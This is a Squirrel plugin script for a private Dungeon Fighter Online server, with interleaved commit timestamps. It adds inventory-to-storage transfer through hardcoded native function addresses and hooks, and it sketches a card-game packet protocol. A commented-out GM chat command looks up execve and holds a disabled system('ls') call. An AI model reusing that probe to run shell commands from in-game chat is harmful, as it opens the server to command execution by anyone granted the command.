// //如果没有空格子
// if (EmptySlot == -1) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr2, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //获取角色背包
// local InvenObj = SUser.GetInven();
// //获取需要转移的装备 这里默认写的装备栏第一个格子
// local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9);
// //获取装备ID
// local EquipId = ItemObj.GetIndex();
// //获取装备名字
// local ItemName = PvfItem.GetNameById(EquipId);
// //获取配置中不可跨界的ID数组
// local NoCrossId = Cofig.NoCrossIdArr;
// //如果这个装备不可跨界
// if (NoCrossId.find(EquipId) != null) {
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr5, ItemName), 7);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //如果没找到这个格子的装备
// if (!ItemName) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr1, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //跨界
// local Flag = CargoObj.InsertItem(ItemObj, EmptySlot);
// if (Flag == -1) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr3, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// } else {
// //销毁背包中的道具
// ItemObj.Delete();
// //刷新玩家背包列表
// SUser.SendUpdateItemList(1, 0, 9);
// //刷新账号金库列表
// CargoObj.SendItemList();
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr4, ItemName), 7);
// }
// }
// }
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// Gm_InputFunc_Handle["okok"] <- function(SUser, cmd) {
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// local _Execve_Address = Module.getExportByName(null, "execve");
// // local Ret = system("ls");
// print(_Execve_Address);
// // SUser.SendNotiPacketMessage("出纳上到几点方柏霓撒娇扩大年级卡萨", 7);
// }
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
// //定义一个显示的变量
// getroottable().TaskCount <- 0;
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
// //任务
// function Task() {
// getroottable().TaskCount++;
// print("定时任务执行了一次,当前执行次数为:" + getroottable().TaskCount);
// }
// //注册一个定时任务 每五秒执行一次 任务名为 TestCronName
// Timer.SetCronTask(Task, {
// Cron = "0/5 * * * * *",
// Name = "TestCronName"
// });
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
function _Jump_DropItem_check_error_()
{
//如果没有创建过这个模拟内存就创建
if(!getroottable().rawin("_EmptyCharacInfo_Flag_")){
getroottable()._EmptyCharacInfo_Flag_ <- Memory.alloc(17);
Memory.reset(getroottable()._EmptyCharacInfo_Flag_,17);
}
//如果没有创建过这个跳转Flag就创建并初始化
if(!getroottable().rawin("_EmptyHook_Flag_")){
getroottable()._EmptyHook_Flag_ <- false;
}
}
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
Timer.SetTimeOut(function() {
// //私有方法 发送带参数的Post请求
// local SO = Http("129.211.27.104", "9080");
// local Res = SO.Post("/dof/chat", Json.Encode({
// username = "系统公告",
// text = "倾泪寒在格蓝迪发电站爆出了【雷剑-苦轮】!真是人品爆炸!!!",
// groupId = 850022626
// }), "application/json");
// Cb_DropItem_check_error_Enter_Func.Rindro <- function(args){
// getroottable()._EmptyHook_Flag_ = true;
// args[1] = getroottable()._EmptyCharacInfo_Flag_.C_Object;
// return args;
// }
// Cb_DropItem_check_error_Leave_Func.Rindro <- function(args){
// if(getroottable()._EmptyHook_Flag_){
// getroottable()._EmptyHook_Flag_ = false;
// return 19;
// }
// }
2025-04-05 22:03:40 +08:00
}, 1)
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
2025-04-05 22:03:40 +08:00
Gm_InputFunc_Handle["aaa"] <- function(SUser, cmd) {
// 获取角色背包
local InvenObj = SUser.GetInven();
// 角色仓库
local CargoObj = Sq_CallFunc(S_Ptr("0x08151a94"), "pointer", ["pointer"], SUser.C_Object);
// 添加计数器
local transferCount = 0;
// 遍历背包消耗品栏及材料栏
for (local i = 57; i <= 152; ++i) {
// 获取背包物品
local ItemObj = InvenObj.GetSlot(1, i);
// 获取背包物品ID
local Item_Id = ItemObj.GetIndex();
local ItemName = PvfItem.GetNameById(Item_Id);
// 如果物品ID为0或3037跳过(在此可以添加其他需要跳过的物品ID)
if (Item_Id == 0 || Item_Id == 3037) {
continue;
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 角色仓库是否存在背包物品
local CargoSlot = Sq_CallFunc(S_Ptr("0x850bc14"), "int", ["pointer", "int"], CargoObj, Item_Id);
// 如果角色仓库中没有该物品,跳过
if (CargoSlot == -1) {
continue;
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取仓库物品指针
local cargoItemPointer = NativePointer(CargoObj).add(4).readPointer();
// 获取角色仓库物品对象
local cargoItemObj = NativePointer(cargoItemPointer).add(61 * CargoSlot);
// 获取角色仓库物品ID
local cargoItemId = NativePointer(cargoItemPointer).add(61 * CargoSlot + 2).readU32();
// 获取角色仓库物品数量
local cargoItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], cargoItemObj.C_Object);
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取物品对象
local PvfItem = PvfItem.GetPvfItemById(cargoItemId);
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取物品可堆叠数量
local getStackableLimit = Sq_CallFunc(S_Ptr("0x0822C9FC"), "int", ["pointer"], PvfItem.C_Object);
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 如果仓库已达堆叠上限,跳过此物品
if (cargoItemCount >= getStackableLimit) {
continue;
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取背包物品数量
local inventoryItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], ItemObj.C_Object);
// 获取物品是否可堆叠
local checkStackableLimit = Sq_CallFunc(S_Ptr("0x08501A79"), "int", ["int", "int"], cargoItemId, cargoItemCount + inventoryItemCount);
// 尝试将物品储存至角色仓库中
local tryAddStackItem = Sq_CallFunc(S_Ptr("0x0850B4B0"), "int", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot);
if (tryAddStackItem >= 0) {
// 正式将物品插入角色仓库中
Sq_CallFunc(S_Ptr("0x850b672"), "pointer", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot);
// 删除背包中的物品
ItemObj.Delete();
transferCount++;
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8);
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 处理可堆叠物品
if (checkStackableLimit == 0) {
// 获取物品总数
local totalCount = cargoItemCount + inventoryItemCount;
// 如果总数不超过上限,全部堆到仓库
if (totalCount <= getStackableLimit) {
// 将物品堆到仓库
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, totalCount);
// 删除背包中的物品
ItemObj.Delete();
transferCount++;
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8);
} else {
// 如果总数超过上限
// 将仓库的物品数量设置为最大数量
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, getStackableLimit);
// 将背包数量减去转移至仓库的数量
local transferAmount = getStackableLimit - cargoItemCount;
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], ItemObj.C_Object, totalCount - getStackableLimit);
transferCount++;
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + transferAmount, 8);
}
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 通知客户端更新背包
SUser.SendUpdateItemList(1, 0, i);
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
if (transferCount == 0) {
SUser.SendNotiBox("没有可转移的物品!", 1);
2025-03-27 20:21:11 +08:00
}
2025-04-05 22:03:40 +08:00
// 通知客户端更新仓库
SUser.SendItemSpace(2);
print(666);
}
2025-03-27 20:21:11 +08:00
Register_DPS_Pack(1, function(SUser, Pack) {
printT(Pack);
SUser.Send_DPS_Pack(1, {
ttt = 1,
})
});
// //收到查询我的战绩包 查询我的战绩 注意这个包不止我请求的时候要发 一局游戏结束了以后 你要主动刷这个包
// ClientSocketPackFuncMap.rawset(20092097, function(SUser, Jso) {
// local evv = {
// op = 20092098,
// WinCount = 1, //胜利场次
// Ranking = 2, //排名
// OnlineRanking = 56, //跨服排名
// TicketCount = 3, //入场卷数量
// }
// SUser.SendJso(evv);
// });
// //收到开始匹配包 服务端进入匹配状态 告诉客户端开始匹配了
// ClientSocketPackFuncMap.rawset(20092001, function(SUser, Jso) {
// local evv = {
// op = 20092002,
// }
// SUser.SendJso(evv);
// //这里添加的是定时任务 两秒后默认开局 在你那边你应该是正常匹配 然后开局了给客户端发消息
// Timer.SetTimeOut(function() {
// //角色类 名字 职业 穿戴装备
// local Charac = {
// Name = "测试角色",
// Job = 8,
// Equ = [26373, 107550220, 107560223, 107570188, 107520224, 107500233, 107510231, 107540209, 107580129, 107530192],
// CardList = [0, 1, 2, 3, 1]
// }
// //这里发送角色类List 0号位是自己 然后顺时针坐玩家 发送主牌ID
// local evv = {
// op = 20092006,
// CharacList = [Charac, Charac, Charac, Charac],
// MainCard = 2
// }
// SUser.SendJso(evv);
// }, 500);
// });
// //收到取消匹配包 服务端进入匹配状态 告诉客户端取消匹配了
// ClientSocketPackFuncMap.rawset(20092003, function(SUser, Jso) {
// local evv = {
// op = 20092004,
// }
// SUser.SendJso(evv);
// });
// //收到出牌包
// ClientSocketPackFuncMap.rawset(20092007, function(SUser, Jso) {
// //这里CardList 是玩家打出了它手上的第几张牌 而不是牌的ID List
// local CardList = Jso.CardList;
// //..... 这里需要对牌做校验 是不是相同的牌 或者万能牌
// //如果校验通过了 发送出牌回调包给客户端告诉他出牌成功 这里要告诉所有的牌桌上的玩家 如果是出牌人则发0 CharacId 其他人 要发他们那里对应的ID
// local evv = {
// op = 20092008,
// CharacId = 1,
// CardList = CardList
// };
// SUser.SendJso(evv);
// });
// //主动下发 回合信息包 20092010 要告诉客户端的玩家 现在是谁的回合 回合剩余时间多少秒 注意每个客户端的玩家你要发送不同的位置信息给他的
// local evv = {
// //谁的回合
// RoundCharac = 0;
// //剩余多少时间 (这个应该是在你的配置里)
// RoundTime = 30;
// };
// //主动下发 质疑包 20092012 要告诉客户端的玩家 谁要质疑 注意每个客户端的玩家你要发送不同的位置信息给他的 质疑翻牌信息
// local evv = {
// //质疑玩家
// QuestionCharac = 0;
// //质疑牌List (注意这里发的不是牌的位置了 是牌对应的ID 一开始分配的那个)
// QuestionCardList = [0, 1, 2, 3, 1];
// };
// //主动下发 刷新玩家信息包 20092014 要告诉客户端的玩家 谁还剩多少血 0就是没血了 -1就是这个地方是没有玩家的 1就是还剩1滴血
// local evv = {
// Charac = [0, -1, 1, -1]
// };
// //主动下发 结算包 20092018 一局游戏结束了 发包给我
// local evv = {
// //0 是你输了 1是你赢了
// Win = 0
// };
// //主动下发 牌桌显示公告 20092016 这个公告文字我会显示在牌桌上的 是你一些重要信息 比如谁打出了什么牌 质疑什么的之类的
// local evv = {
// //消息
// Msg = "公告消息"
// };
// //收到聊天信息包
// ClientSocketPackFuncMap.rawset(20092099, function(SUser, Jso) {
// //这里是左下角聊天框打字发送上来的信息
// local MsgBuffer = Jso.Msg;
// //转发给所有玩家 包括他自己
// local evv = {
// op = 20092100,
// Msg = MsgBuffer,
// };
// SUser.SendJso(evv);
// });